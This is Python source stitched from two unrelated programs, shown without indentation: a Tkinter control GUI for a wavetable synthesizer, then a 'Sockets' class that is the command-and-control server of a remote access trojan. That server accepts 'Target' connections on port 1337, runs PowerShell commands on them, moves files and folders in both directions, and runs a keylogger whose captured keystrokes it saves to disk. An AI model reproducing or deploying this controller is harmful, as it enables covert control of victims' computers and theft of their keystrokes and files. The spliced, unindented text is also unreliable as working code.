trigWavetableButton.bind('<Button-1>', self.trigger_waveform_handler)
trigWavetableButton.ref = 'voice_' + vid + "_trigger_wavetable"
trigWavetableButton.grid(row=counter)
cb_frame.grid(column=int(vid) + 2, row=5, sticky=E + W + N, rowspan=8)
for vid in voice_ids:
generation_types = ["random", "random_harmonic", "harmonic"]
partial_pools = ["even", "odd", "all"]
prefix = 'voice_' + vid + '_'
types_name = prefix + 'wavetable_generation_type'
pools_name = prefix + 'partial_pool'
setattr(self, types_name, StringVar())
getattr(self, types_name).set("random")
setattr(self, pools_name, StringVar())
getattr(self, pools_name).set("all")
target_frame = getattr(self, 'voice_' + vid + '_cb_frame')
gen_typ_frame = LabelFrame(target_frame, text="type")
gen_typ_frame.grid(row=len(target_frame.winfo_children()), sticky=W)
for gen_t in generation_types:
gen_t_entry = Radiobutton(gen_typ_frame, value=gen_t, text=gen_t, anchor=W,
variable=getattr(self, types_name))
gen_t_entry.bind('<ButtonRelease-1>', self.wt_handler)
gen_t_entry.ref = types_name
gen_t_entry.grid(row=len(gen_typ_frame.winfo_children()), sticky=W)
pp_frame = LabelFrame(target_frame, text="harmonics")
for pp in partial_pools:
pp_entry = Radiobutton(pp_frame, value=pp, text=pp, anchor=W,
variable=getattr(self, pools_name))
pp_entry.bind('<ButtonRelease-1>', self.wt_handler)
pp_entry.ref = pools_name
pp_entry.grid(row=len(pp_frame.winfo_children()), sticky=E + W)
this_num_partials = Scale(pp_frame, label='number of harmonics', orient=HORIZONTAL,
from_=1, to=24, resolution=1)
this_num_partials.ref = prefix + 'num_partials'
this_num_partials.grid(column=0, row=len(pp_frame.winfo_children()), sticky=E + W)
this_num_partials.bind("<ButtonRelease>", self.scale_handler)
pp_frame.grid(row=len(target_frame.winfo_children()), sticky=E + W)
def wt_handler(self, event):
print(event.widget.tk)
ref = event.widget.ref
self.send({ref: getattr(self, ref).get()})
def create_check_buttons(self):
self.cb_frame = LabelFrame(self, text="Global Settings")
for cb in CHECK_BUTTONS:
label = cb
target_parent = self.cb_frame
if isinstance(CHECK_BUTTONS[cb], dict) and 'sub_frame' in list(CHECK_BUTTONS[cb].keys()):
target_parent = getattr(self, CHECK_BUTTONS[cb]['sub_frame'])
setattr(self, cb, IntVar(value=type(CHECK_BUTTONS[cb]) == dict and
CHECK_BUTTONS[cb]['val'] or
CHECK_BUTTONS[cb]))
self.this_cb = Checkbutton(target_parent, text=label, variable=getattr(self, cb))
self.this_cb.bind('<Button-1>', self.check_boxes_handler)
self.this_cb.disable = (type(CHECK_BUTTONS[cb]) == dict and
'disable' in list(CHECK_BUTTONS[cb].keys()))
self.this_cb.grid(sticky=W, column=0, row=len(target_parent.winfo_children()))
self.this_cb.ref = cb
for but in GLOBAL_BUTTONS:
label = but
ele = GLOBAL_BUTTONS[but]
this_but = Button(self.cb_frame, text=but)
this_but.bind('<ButtonRelease-1>', getattr(self, ele['handler']))
this_but.ref = but
this_but.grid(sticky=W, column=0, row=len(self.cb_frame.winfo_children()))
self.cb_frame.grid(column=0, row=0, rowspan=10, sticky=N)
def new_behaviour_chosen(self, a, b, c):
self.send({'sys': ['change_behaviour', self.selected_behaviour.get()]})
def set_value(self, name, val):
'''sets a widget to the specified value
various different widget types need custom setting functionality'''
direct = ['scale', 'wavetable_generation_type', 'partial_pool']
if [x for x in direct if match("(voice_\d_|)" + x, name)]:
self.gui_logger.info("setting: '{0}' to '{1}' in GUI".format(name, val))
getattr(self, name).set(val)
return
if name == 'saved_behaviours' and len(val):
self.savedBehavioursMenu.destroy()
self.savedBehavioursMenu = OptionMenu(self.monitor_frame,
self.selected_behaviour, *sorted(val))
self.savedBehavioursMenu.grid(row=5, sticky=E + W)
return
for w in self.settables:
typ = w.__class__.__name__
if w.ref == name:
# print "setting '{0}' of type: '{1}' to: {2}".format(name, typ, val)
if typ == 'Scale':
w.set(val)
elif typ == "Checkbutton":
w.select() if val else w.deselect()
def check_boxes_handler(self, event):
'''handles checkbox events.
shows and hides gui elements according to their enable/disable fields'''
# print event.__dict__
# print event.widget.__dict__
ref = event.widget.ref
val = not getattr(self, ref).get() # because is read before the var is changed
self.send({ref: val})
# print ref, val
# handle gui elements
# enable/disable functionality temporarily(?) commented on:
# Wed Aug 17 09:39:54 CEST 2011
# if event.widget.disable:
# for w in self.children.values():
#
# # this try clause is for debugging, remove when stable
# try:
# w.ref
# #print w.ref
# except:
# pass
# if (w.__class__.__name__ == 'Scale' and
# (w.disable or w.enable)):
# if w.disable == ref:
# if val:
# w.grid()
# else:
# w.grid_remove()
# elif w.enable == ref:
# if val:
# w.grid_remove()
# else:
# w.grid()
# #print w.disable, w.enable
def create_scales(self):
counter = 0
for sca in SCALES:
label = SCALES[sca]['label'] if 'label' in list(SCALES[sca].keys()) else sca
setattr(self, 'min_' + sca, SCALES[sca]['min'])
setattr(self, 'max_' + sca, SCALES[sca]['max'])
self.this_scale = Scale(self, label=label, orient=HORIZONTAL,
from_=getattr(self, 'min_' + sca),
to=getattr(self, 'max_' + sca),
resolution=SCALES[sca]['res'])
self.this_scale.set(SCALES[sca]['start'])
self.this_scale.enable = ('enable' in list(SCALES[sca].keys()) and
SCALES[sca]['enable'] or None)
self.this_scale.disable = ('disable' in list(SCALES[sca].keys()) and
SCALES[sca]['disable'] or None)
if 'pos' in list(SCALES[sca].keys()):
pos = SCALES[sca]['pos']
col = pos['c']
row = pos['r']
else:
row = counter
col = 1
counter += 1
self.this_scale.grid(column=col, row=row, sticky=E + W)
self.this_scale.ref = sca
self.this_scale.bind("<ButtonRelease>", self.scale_handler)
def scale_handler(self, event):
self.send({event.widget.ref: event.widget.get()})
self.gui_logger.info("handling scale: {0}, with new value: {1}".format(
event.widget.ref, event.widget.get()))
def trigger_waveform_handler(self, event):
self.send({event.widget.ref: True})
# print event.widget.ref, "- triggering wavetable"
def send_scale(self):
do = {'scale': self.scale.get()}
self.send(do)
def send(self, msg):
self.gui_logger.info("sending: {0}".format(msg))
self.send_sock.sendto(json.dumps(msg), (remote_host, send_port))
def create_ranges(self):
counter = 0
for ran in RANGES:
setattr(self, 'min_' + ran, RANGES[ran]['min'])
setattr(self, 'max_' + ran, RANGES[ran]['max'])
self.this_min_scale = Scale(self, label='min ' + ran, orient=HORIZONTAL,
from_=getattr(self, 'min_' + ran),
to=getattr(self, 'max_' + ran),
resolution=RANGES[ran]['res'])
self.this_max_scale = Scale(self, label='max ' + ran, orient=HORIZONTAL,
from_=getattr(self, 'min_' + ran),
to=getattr(self, 'max_' + ran),
resolution=RANGES[ran]['res'])
self.this_min_scale.set(RANGES[ran]['min_start'])
self.this_max_scale.set(RANGES[ran]['max_start'])
self.this_min_scale.enable = ('enable' in list(RANGES[ran].keys()) and
RANGES[ran]['enable'] or None)
self.this_min_scale.disable = ('disable' in list(RANGES[ran].keys()) and
RANGES[ran]['disable'] or None)
self.this_max_scale.enable = ('enable' in list(RANGES[ran].keys()) and
RANGES[ran]['enable'] or None)
self.this_max_scale.disable = ('disable' in list(RANGES[ran].keys()) and
RANGES[ran]['disable'] or None)
self.this_min_scale.grid(column=2, row=counter, sticky=E + W)
self.this_max_scale.grid(column=2, row=counter + 1, sticky=E + W)
self.this_min_scale.ref = 'min_' + ran
self.this_max_scale.ref = 'max_' + ran
self.this_min_scale.bind("<ButtonRelease>", self.scale_handler)
self.this_max_scale.bind("<ButtonRelease>", self.scale_handler)
counter += 2
def socket_read_handler(self, file, mask):
data_object = json.loads(file.recv(1024))
do = list(data_object.items())[0]
self.set_value(do[0], do[1])
class Sockets(object):
"""
MODE_MSG :: Upload/Download
UploadFolder() ***:<<<<<<<<<<<<:data communication CLIENT:>>>>>>>>>>>*** downloadFolder()
SEND type Of download{folder/file}, | GET type <...,
=> wait for iGet | SEND <"GetTypeDownload">
SEND filename, wait for iGet | GET <..., SEND <"getFileName">
SEND Binary in rate 100**3.9, At | GET Binary At every beat of sixty million,
=> every beat of sixty million |
=> wait for iGet | SEND <"GetDataBinary">
SEND if one file sending from files | GET <...,
=> <"R1ad0n1F">, wait for iGet | SEND <"GetOneFile">
END | END
UploadFolder() ***:<<<<<<<<<<<<:data communication SERVER:>>>>>>>>>>>*** downloadFolder()
SEND type of download{folder/file, | GET <...,
files in Dir}, wait for iGet | SEND <"GetTypeDownload">
SEND fileName, wait for iGet | GET <..., SEND <"GetFileName">
SEND Binary {see Up}, wait for iGet| GET <..., SEND <"GetDataBinary">
SEND <"R1ad0n1F"> , wait for iGet | GET <..., SEND <"GetOneFile">
END | END
"""
def __init__(self):
self.isCancelUpload = True
xNone = os.popen("echo %username%").read().split("\n")
self.nameAdmin = xNone[0]
self.Server = None # // That will be accessible from anywhere
self.liSocket = [] # // to Send
self.liAddress = [] # // to GRAPH and send specific client
self.liIpPrivate = []
self.RECV = int(100**3.9)
self.PORT = 1337
self.ipOfClient = None # // ip private
self.ipChoose = None
self.createDrop = False # // if server.close and createdDrop destroy else None
self.createLabTarget = False
self.defaultChoose = None
self.dateFromTarget = None
self.labTarget = None
self.dropChooseIp = None
self.MODE_MSG = "Command" # // 'Download' / 'Upload' / 'ListenKeyboard' >F5< (:
self.CLOSE = "StartRecording"
self.file = f"Date_From_Target"
self.languageOfKeyToListen = "EN" # // default
self.F_B = "fg" # // for console {textOfResult} default: fg else: bg
self.numToSaveFile = randint(1, 50000)
self.TITLE = None # // save from Terminal
self.PathConsole = rf"c:\Users\{self.nameAdmin}" # // default
self.isFolderFile = None
self.UploadRate = 45000000
self.selectFileUpload = None # // Upload uses for two vars [!!]
self.selectFolderUpload = None # // Upload
self.isCancelDownload = True # // default [!] any{download} run->back to default
self.ERROR = False
def StartServer(self):
"""
1. server listen in 0.0.0.0 under mask=255.255.255.0 only! , or
in 127.0.0.1 that it's selfListening {האזנה עצמית }
server listen under func listen()-> 15 connections
server accept connection
2. first server get from connect ipv4 , going forward:
in graphic configuration will be display message that
have connections, when first connection will create
drop in ip of the connect
"""
self.Server = socket(AF_INET, SOCK_STREAM)
try:
self.Server.bind(("0.0.0.0", self.PORT))
except OSError:
pass
self.Server.listen(15)
#
# GRAPH #
buttActivation.config(text="Power On",
fg="red",
command=lambda: Root.CloseServer())
textOfResult.delete(0.0, END)
textOfResult.insert(END, "\t\t :::[START] start listening..\n\n")
# END #
#
while True:
try:
sockClient, address = self.Server.accept()
except OSError:
break # // server.close
# // get ipv4
self.ipOfClient = sockClient.recv(self.RECV).decode().split("|")
self.liIpPrivate.append({
"ip": self.ipOfClient[0],
"port": str(address[1]),
"user": self.ipOfClient[1]
})
self.liSocket.append(sockClient)
self.liAddress.append(address)
#
# GRAPH #
textOfResult.insert(
END, f"{address} name=> {self.ipOfClient[1]} :: connected\n\n")
if len(self.liSocket) > 1:
defaultChoose2 = self.defaultChoose.get()
self.dropChooseIp.destroy()
self.defaultChoose = StringVar(winRootConnect)
self.defaultChoose.set(defaultChoose2)
self.dropChooseIp = OptionMenu(
winRootConnect,
self.defaultChoose,
*self.liAddress,
command=lambda signal: Sockets.chooseIpTarget(self))
# <lambda signal># take one arg
self.dropChooseIp.place(x=0, y=140)
elif len(self.liSocket) == 1:
self.createDrop = True
self.defaultChoose = StringVar(winRootConnect)
self.defaultChoose.set("IPS")
self.dropChooseIp = OptionMenu(
winRootConnect,
self.defaultChoose,
*self.liAddress,
command=lambda signal: Sockets.chooseIpTarget(self)) # //
# <lambda signal># take one arg
self.dropChooseIp.place(x=0, y=140)
buttShowIp['state'] = NORMAL
# END #
# 1. clear all array containing ips, sockets. drop destroy
# and message label of indicating connection that selected
# and turn off listening of server under this func > server.close()
def CloseServer(self):
clientLast = ""
try:
clientLast = self.liSocket[-1]
except Exception:
pass
for client in self.liSocket:
try:
client.sendall("EXIT".encode())
client.sendall("".encode())
except ConnectionResetError:
self.liSocket.remove(client)
try:
clientLast.sendall("EXIT".encode())
clientLast.sendall("".encode())
except Exception:
pass
if self.createDrop:
self.dropChooseIp.destroy()
if self.createLabTarget:
self.labTarget.place_forget()
buttShowIp['state'] = DISABLED
self.Server.close()
self.liSocket.clear()
self.liAddress.clear()
# GRAPH #
buttActivation.config(
text="Power Off",
fg='black',
command=lambda: threading.Thread(target=Sockets.StartServer,
args=(self, )).start())
textOfResult.delete(0.0, END)
textOfResult.insert(END,
"\t\t :::[SHUTDOWN] client and server closed.")
buttExecute['state'] = DISABLED
# END #
def checkWhoTarget(self):
"""
return the connect that select from < dropChooseIp >
"""
for Target in self.liSocket:
if self.ipChoose in str(Target):
return Target
# GRAPH > *
# important lists of setting ['Command', 'Download', 'Upload', 'ChDir {change Dir}', 'ListenKeyboard']
def ModeCommand(self):
"""
define of = ['Command', 'Download', 'Upload', 'ChDir {change Dir}', 'ListenKeyboard'] => Command
"""
buttChangeDir['state'] = NORMAL
buttExecute['text'] = "EXECUTE"
buttSaveDate['text'] = "Save Data"
buttChangeMode.config(text="PowerShell",
command=lambda: Sockets.ModeDownload(self))
self.MODE_MSG = "Command"
def ModeDownload(self):
"""
define of = [...] => Download
"""
buttChangeDir['state'] = DISABLED
buttExecute['text'] = "EXECUTE"
buttSaveDate.config(text="save log Terminal",
command=lambda: Sockets.saveDateFromTerminal(self))
buttChangeMode.config(text=" Download ",
command=lambda: Sockets.ModeUpload(self))
self.MODE_MSG = "Download"
def ModeListenKeyboard(self):
"""
define of = [...] => ListenKeyBoard
"""
if self.liAddress and str(type(self.ipChoose)) != "<class 'NoneType'>":
buttExecute['state'] = NORMAL
buttChangeDir['state'] = DISABLED
buttExecute['text'] = "OFF RECORD"
buttSaveDate.config(text="save recording",
command=lambda: Sockets.saveDateFromTerminal(self)
) # // TODO: function
buttChangeMode.config(text="Listen Keyboard",
command=lambda: Sockets.ModeCommand(self))
self.MODE_MSG = "ListenKeyboard"
def ModeChDir(self):
"""
define of =[...] => ChDir
"""
buttChangeMode['state'] = DISABLED
textOfResult.delete(0.0, END)
entrCommand.delete(0, END)
entrCommand.insert(END, "PATH>")
self.MODE_MSG = "ChDir"
def ModeUpload(self):
"""
define of = [...] => Upload
"""
buttExecute['text'] = "EXECUTE"
buttChangeDir['state'] = DISABLED
buttSaveDate.config(text="Save log Terminal",
command=lambda: Sockets.saveDateFromTerminal(self))
buttChangeMode.config(text="Upload",
command=lambda: Sockets.ModeListenKeyboard(self))
entrCommand.delete(0, END)
entrCommand.insert(END, f"path in Target>")
self.MODE_MSG = "Upload"
def showListConnects(self):
"""LIST OF IPS"""
text = """this all connects
if you will want to send any date to specific ip
go to "choose ip."""
textOfResult.delete(0.0, END)
textOfResult.insert(END, text + '\n\n')
num = 0
for i_p in self.liAddress:
textOfResult.insert(END, f"{num} = {i_p}\n\n")
num += 1
def chooseIpTarget(self):
"""
Defined mainly graphics configuration
"""
self.createLabTarget = True
self.ipChoose = self.defaultChoose.get()
for port in self.liIpPrivate:
if port['port'] in str(self.ipChoose):
self.labTarget = Label(
winRootConnect,
text=
f"ADDRESS: {port['ip']}~{port['port']}\tNAME: {port['user']}",
fg="black",
font="Ariel 12")
self.labTarget.place(x=200, y=560)
buttExecute['state'] = NORMAL
buttChangeDir['state'] = NORMAL
def bgORfg(self, f_OR_b):
"""
define foreground or background of < textOfResult >
"""
self.F_B = f_OR_b
def changeKeyListenHebrew(self, key):
"""
using on dictionary of
Key = letter of Hebrew
Value = letter of English
"""
if self.languageOfKeyToListen == "HE":
for k, v in Hebrew.items():
if v in key:
return k
return key
def menuChColor(self, color):
"""
define fg or bg and so..
"""
textOfResult[self.F_B] = color
# > END #
def KeyHE(self):
"""
filter the listening to Keyboard to Hebrew letters
"""
self.languageOfKeyToListen = "HE"
buttListenKey.config(text="Hebrew",
command=lambda: Sockets.KeyEN(self))
def KeyEN(self):
"""
default: filter return < Key >
"""
self.languageOfKeyToListen = "EN"
buttListenKey.config(text="English",
command=lambda: Sockets.KeyHE(self))
def SendChDir(self):
"""
send value of < textOfResult > = just directories of paths
SideClient define `send` this path to CMD to define
location of all calls {like dir || ls}
"""
buttExecute['text'] = "RUNNING..."
p = entrCommand.get()
if 'c:\\' in p.lower():
p = p[p.find("c:\\"):]
Target = Sockets.checkWhoTarget(self)
try:
Target.sendall(self.MODE_MSG.encode())
Target.sendall(p.encode())
self.dateFromTarget = Target.recv(self.RECV).decode()
textOfResult.insert(END, f"\n\nStatus: {self.dateFromTarget}")
Sockets.ModeCommand(self)
entrCommand.delete(0, END)
buttExecute['text'] = "EXECUTE"
except Exception:
self.liSocket.remove(Target)
textOfResult.delete(0.0, END)
textOfResult.insert(
END, f"\n\n{Target[1]} DISCONNECTED. can't to send")
else:
buttExecute['text'] = "EXECUTE"
textOfResult.insert(END, "\n\nenter path else You're an amateur")
def getDataCommand(self):
"""
Returned data from JUST PowerShell
"""
buttSaveDate['state'] = NORMAL
buttExecute['text'] = "RUNNING.."
if entrCommand.get() and "c:\\" not in entrCommand.get().lower()[:3]:
Target = Sockets.checkWhoTarget(self)
try:
Target.sendall(self.MODE_MSG.encode())
Target.sendall(entrCommand.get().encode())
try:
self.dateFromTarget = Target.recv(self.RECV).decode()
except UnicodeDecodeError:
self.dateFromTarget = "Sorry,the encoding can't read this data" \
"\n\nYOU CAN change this with command chcp 437 (or another code)"
buttExecute['text'] = "EXECUTE"
textOfResult.delete(0.0, END)
if len(self.dateFromTarget) < 100000:
textOfResult.insert(END, f"\n\n{self.dateFromTarget}")
else:
textOfResult.insert(
END,
'text in this file too long -to show click Save data from '
'Console-')
except Exception as e:
self.liSocket.remove(Target)
textOfResult.delete(0.0, END)
print(e)
textOfResult.insert(
END, f"\n\n{self.ipChoose} DISCONNECTED. can't to send ")
buttExecute['text'] = "EXECUTE"
else:
buttExecute['text'] = "EXECUTE"
def DownloadData(self):
"""
see Up line 20 - 60
"""
try:
Target = Sockets.checkWhoTarget(self)
if len(entrCommand.get()) > 5:
buttExecute.config(state=DISABLED, text="RUNNING...")
buttSaveDate['state'] = NORMAL
textOfResult.delete(0.0, END)
textOfResult.insert(END, f"\t\t\t[request] = ")
Target.sendall(self.MODE_MSG.encode())
Target.sendall(entrCommand.get().encode())
textOfResult.insert(END, "OK!")
# wait for data...
self.dateFromTarget = Target.recv(self.RECV)
if self.dateFromTarget != "ERROR".encode():
print("not error")
self.isFolderFile = self.dateFromTarget.decode().split("|")
Sockets.windowToDownload(self)
print("finish download")
if self.isCancelDownload:
Target.sendall("C!NC$L".encode())
textOfResult.insert(
END,
f"\n\n[DOWNLOAD] CANCELED PROCESSING download={self.isFolderFile[1]} Files"
)
buttExecute.config(text="EXECUTE", state=NORMAL)
self.isCancelDownload = True # // important [!]
else:
textOfResult.delete(0.0, END)
textOfResult.insert(END, self.dateFromTarget.decode())
buttExecute.config(state=NORMAL, text="EXECUTE")
except OSError:
Target = Sockets.checkWhoTarget(self)
self.liSocket.remove(Target)
textOfResult.delete(0.0, END)
textOfResult.insert(
END, f"\n\n{self.ipChoose} DISCONNECTED. can't to send ")
buttExecute['state'] = NORMAL
buttExecute['text'] = "EXECUTE"
def getDateKeyboard(self):
"""
Activates capability of listen to keyboard
SideClient return Every press in keyboard
When turn Off in SideServer HAVE TO wait
that Side Client will click one press to Terminated processing :(
"""
buttExecute.config(text="ON RECODER",
command=lambda: Sockets.closeRecord(self))
buttSaveDate['state'] = NORMAL
textOfResult.delete(0.0, END)
try:
Target = Sockets.checkWhoTarget(self)
try:
while True:
Target.sendall(self.MODE_MSG.encode())
Target.sendall(self.CLOSE.encode())
dateFromTarget = Target.recv(100).decode()
if "StopRecording" in dateFromTarget: # // important! have to object "in" on this block
textOfResult.insert(END, "\n\n//StopRecording")
self.CLOSE = "StartRecording"
break
else:
textOfResult.insert(
END,
Sockets.changeKeyListenHebrew(
self, dateFromTarget))
except Exception as s:
print(s)
except NameError:
textOfResult.insert(END, "\n\nERROR : Choose IP . ") # // ??
# UPLOAD :start
def FilesInDirectory(self):
"""
performing mapping to list of folder
JUST file
JUST file containing data
define Size of all Files
"""
listFiles = []
SizeDir = 0
for file in os.listdir(self.selectFolderUpload):
if os.path.getsize(file) > 0 and os.path.isfile(file):
listFiles.append(file)
SizeDir += os.path.getsize(file)
else:
# // ?
continue
return listFiles, SizeDir
def UploadFile(self):
"""
see Up line 20 - 60
"""
fs = str(self.selectFileUpload).lower()
Target = Sockets.checkWhoTarget(self)
try:
Size = os.path.getsize(fs[fs.find('c'):fs.find('>') -
1]) # error in Hebrew
except OSError:
Size = None
self.ERROR = True
Target.sendall("ERROR_HEBREW".encode())
if Size is not None:
Target.sendall(
f"File|{Size}|{fs[fs.rfind('/') + 1:fs.find('>') - 1]}".encode(
))
print(f"echo File|{Size}|{fs[fs.rfind('/') + 1:fs.find('>') - 1]}")
Target.recv(1024) # // iGet
x = 0
while True:
if Size > x:
FD = self.selectFileUpload.read(self.UploadRate)
x += len(FD)
print(f"length data ={x}")
Target.sendall(FD)
textOfResult.delete(0.0, END)
textOfResult.insert(
END, f"\n\n[UPLOAD] Uploading...{(x * 100) // Size}%")
Target.recv(1024) # // iGet
else:
self.selectFileUpload.close()
print("finish file")
Target.sendall('R1ad0n1F'.encode())
Target.recv(1024) # // iGet
break
else:
textOfResult.delete(0.0, END)
textOfResult.insert(
END,
"\tthe language of filename is Hebrew or other\n\tnow the system not supported!"
)
def UploadFolder(self):
"""
see Up line 20 - 60
"""
xRun = 0
Target = Sockets.checkWhoTarget(self)
os.chdir(self.selectFolderUpload)
files, SizeDir = Sockets.FilesInDirectory(
self) # // important [!] SizeDir not uses here
Target.sendall(f"Folder|{len(files)}".encode())
print(f"echo Folder|{len(files)}")
Target.recv(1024) # // iGet
for file in files:
xRun += 1
Target.sendall(f"{file}".encode())
Target.recv(1024) # // iGet
Size = os.path.getsize(file)
file = open(file, "rb")
print(f"read432 {file}")
x = 0
while True:
if Size > x:
FD = file.read(self.UploadRate)
x += len(FD)
print(f"length data = {x}")
Target.sendall(FD)
textOfResult.delete(0.0, END)
textOfResult.insert(
END,
f"\n\n[UPLOAD] Uploading....{(xRun * 100) // len(files)}%"
)
Target.recv(1024).decode() # // iGet
else:
print("finish file")
file.close()
Target.sendall("R1ad0n1F".encode())
Target.recv(1024) # // iGet
break
def SelectFolderUp(self, win):
""" define the select """
self.isCancelUpload = False
self.selectFolderUpload = "Folder"
win.destroy()
def SelectFileUp(self, win):
""" define the select """
self.isCancelUpload = False
self.selectFileUpload = "File"
win.destroy()
def ChooseUpload(self):
"""
graphic to ask Modes to Upload > file OR folder
"""
winAsk = Tk()
winAsk.geometry("330x150")
winAsk.resizable(False, False)
winAsk.title("SELECT Upload")
labAsk = Label(winAsk,
text="choose what you want to upload:",
font="times 14")
labAsk.place(x=30, y=10)
buttFolder = ttk.Button(
winAsk,
text=" FOLDER ",
command=lambda: Sockets.SelectFolderUp(self, winAsk))
buttFolder.place(x=30, y=50)
buttFile = ttk.Button(
winAsk,
text=" FILE ",
command=lambda: Sockets.SelectFileUp(self, winAsk))
buttFile.place(x=200, y=50)
winAsk.mainloop()
def UploadData(self):
"""
see Up line 20 - 60
"""
buttExecute.config(text="RUNNING...", state=DISABLED)
if len(entrCommand.get()) > 15 and "c:\\" in entrCommand.get():
print("=path ok=")
Target = Sockets.checkWhoTarget(self)
Sockets.ChooseUpload(self)
print("selected")
if not self.isCancelUpload:
Target.sendall(self.MODE_MSG.encode())
Target.sendall(entrCommand.get()
[entrCommand.get().find("c:\\"):].encode())
self.dateFromTarget = Target.recv(self.RECV)
if not "ERROR".encode() in self.dateFromTarget:
if self.selectFileUpload:
self.selectFileUpload = filedialog.askopenfile("rb")
if self.selectFileUpload:
print("selected file")
Sockets.UploadFile(self)
print("finish uploading file")
if not self.ERROR:
print("terminate")
f = str(self.selectFileUpload)
textOfResult.insert(
END,
f"\n\n\tUploading File={f[f.rfind('/')+1:f.find('>') - 1]} successfully."
)
buttExecute.config(text="EXECUTE",
state=NORMAL)
self.selectFileUpload = None
self.ERROR = False
buttExecute.config(text="EXECUTE", state=NORMAL)
else:
Target.sendall("C!NC$L".encode())
textOfResult.insert(
END, "\n\n[UPLOAD] process UPLOAD canceled.")
buttExecute.config(text="EXECUTE", state=NORMAL)
if self.selectFolderUpload:
self.selectFolderUpload = filedialog.askdirectory()
if self.selectFolderUpload:
print("selected folder")
Sockets.UploadFolder(self)
print("finish upload folder")
print("terminate")
textOfResult.insert(
END,
f"\n\nUploading Folder={self.selectFolderUpload} successfully."
)
buttExecute.config(text="EXECUTE", state=NORMAL)
self.selectFolderUpload = None
else:
Target.sendall("C!NC$L".encode())
textOfResult.insert(
END, "\n\n[UPLOAD] process UPLOAD canceled.")
buttExecute.config(text="EXECUTE", state=NORMAL)
else:
textOfResult.insert(
END,
f"\n\n{self.dateFromTarget.decode()} path of Windows directory not exist"
)
buttExecute.config(text="EXECUTE", state=NORMAL)
else:
textOfResult.insert(END,
"\n\n[UPLOAD] Choose UPLOAD canceled.")
buttExecute.config(text="EXECUTE", state=NORMAL)
else:
textOfResult.insert(END,
f"\n\nEnter path to download this in target")
buttExecute.config(text="EXECUTE", state=NORMAL)
# UPLOAD :end
def closeRecord(self):
self.CLOSE = "StopRecording"
textOfResult.insert(END, f"\n\nWait for lest press from target...")
buttExecute.config(text="OFF RECORD",
command=lambda: Sockets.choiceModeRun(self))
# // Modes [!]
def choiceModeRun(self):
"""
When Clicked in < EXEcUTE > this module run
Running - BY - settings that defined [see < MODE_MSG > ]
"""
if self.MODE_MSG == "Download":
Sockets.DownloadData(self)
elif self.MODE_MSG == "Command":
Sockets.getDataCommand(self)
elif self.MODE_MSG == "ListenKeyboard":
threading.Thread(target=Sockets.getDateKeyboard,
args=(self, )).start()
elif self.MODE_MSG == "ChDir":
buttChangeMode['state'] = NORMAL
Sockets.SendChDir(self)
elif self.MODE_MSG == "Upload":
Sockets.UploadData(self)
def saveDateFromTerminal(self):
"""
save data of console
like when the listen keyboard running { the presses print to console }
"""
for ipPrivate in self.liIpPrivate:
if str(ipPrivate['port']) in self.ipChoose:
self.TITLE = f"{'=' * 28}\n**from Target {ipPrivate['ip']}\n{'=' * 28}\n\n\n"
if textOfResult.get(0.0, END):
xNone = randint(1, 432452)
path = rf"c:\Users\{self.nameAdmin}\Desktop\{self.file}{xNone}.txt"
with open(path, "w", encoding="utf-8") as f:
f.write(self.TITLE)
f.write(textOfResult.get(0.0, END))
textOfResult.insert(0.0, f"[DOWNLOAD] success! file in {path}\n\n")
else:
pass
# DOWNLOADS :start
def windowToDownload(self):
"""
... {see < Download[File,Folder] >}
"""
slash = "\\"
p = entrCommand.get()
PathDownload = rf"c:\Users\{self.nameAdmin}\Desktop\{p[p.rfind(slash) + 1:]}"
windowDate = Tk()
windowDate.geometry("500x200")
windowDate.title(" Downloading")
labPath = Label(windowDate,
text=f"Your Path of {self.isFolderFile[0]}:",
font="times 14")
labPath.place(x=110, y=10)
labLenFiles = Label(windowDate,
text=f"Files : {self.isFolderFile[1]}",
font="times 13")
labLenFiles.place(x=0, y=90)
entryPath = Entry(windowDate, width=50, font="times 16", fg="green")
entryPath.place(x=0, y=40)
entryPath.insert(0, PathDownload)
buttSAVE = ttk.Button(
windowDate,
text="SAVE",
command=lambda: Sockets.SAVE(self, entryPath.get(), windowDate))
buttSAVE.place(x=420, y=140)
buttCancel = ttk.Button(windowDate,
text="Cancel",
command=lambda: windowDate.destroy())
buttCancel.place(x=330, y=140)
windowDate.mainloop()
def downloadFolder(self, path):
"""
see Up line 20 - 60
"""
try:
Target = Sockets.checkWhoTarget(self)
self.numToSaveFile = randint(1, 4245)
if not os.path.isdir(path):
os.mkdir(path)
else:
path = path + f"{self.numToSaveFile}"
os.mkdir(path)
Target.sendall("GetTypeDownload".encode())
for xRun in range(int(
self.isFolderFile[1])): # // this f*****g just number !
Nf = Target.recv(self.RECV).decode() # // name file
with open(f"{path}\\{Nf}", "ab") as f:
Target.sendall("getFileName".encode())
while True:
self.dateFromTarget = Target.recv(self.RECV)
if not "R1ad0n1F".encode(
) in self.dateFromTarget: # // "R1ad0n1F" can't be exist in data!
textOfResult.delete(0.0, END)
textOfResult.insert(
END, f"\n\n[DOWNLOAD]"
f" downloading....{(xRun * 100) // int(self.isFolderFile[1])} %"
)
f.write(self.dateFromTarget)
Target.sendall("GetDataBinary".encode())
else:
Target.sendall("GetOneFile".encode())
break
except ConnectionResetError:
Target = Sockets.checkWhoTarget(self)
self.liSocket.remove(Target)
textOfResult.delete(0.0, END)
textOfResult.insert(
END, f"\n\n{self.ipChoose} DISCONNECTED. can't to send ")
buttExecute.config(state=NORMAL, text="EXECUTE")
def downloadFile(self, path):
"""
see Up line 20 - 60
"""
try:
Target = Sockets.checkWhoTarget(self)
F = open(path, "ab")
Target.sendall("GetTypeDownload".encode())
print("ok")
x = 0
while True:
self.dateFromTarget = Target.recv(self.RECV)
if "R1ad0n1F".encode() not in self.dateFromTarget:
textOfResult.delete(0.0, END)
textOfResult.insert(
END,
f"\n\n[DOWNLOAD] downloading....{int((x * 100) / int(self.isFolderFile[2]))} %"
)
F.write(self.dateFromTarget)
x = +len(self.dateFromTarget)
print(f"length data={x}")
Target.sendall("GetDataBinary".encode())
else:
F.close()
print("finish file")
Target.sendall("GetOneFile".encode())
break
except ConnectionResetError:
Target = Sockets.checkWhoTarget(self)
self.liSocket.remove(Target)
textOfResult.delete(0.0, END)
textOfResult.insert(
END, f"\n\n{self.ipChoose} DISCONNECTED. can't to send ")
buttExecute.config(text="EXECUTE", state=NORMAL)
def SAVE(self, path, window):
"""
main process of Downloads
"""
try:
self.isCancelDownload = False
if path:
if "Folder" in self.isFolderFile:
window.destroy()
Sockets.downloadFolder(self, path)
textOfResult.insert(END,
f"\n\ndownload folder successfully.")
buttExecute.config(text="EXECUTE", state=NORMAL)
elif "File" in self.isFolderFile:
window.destroy()
Sockets.downloadFile(self, path)
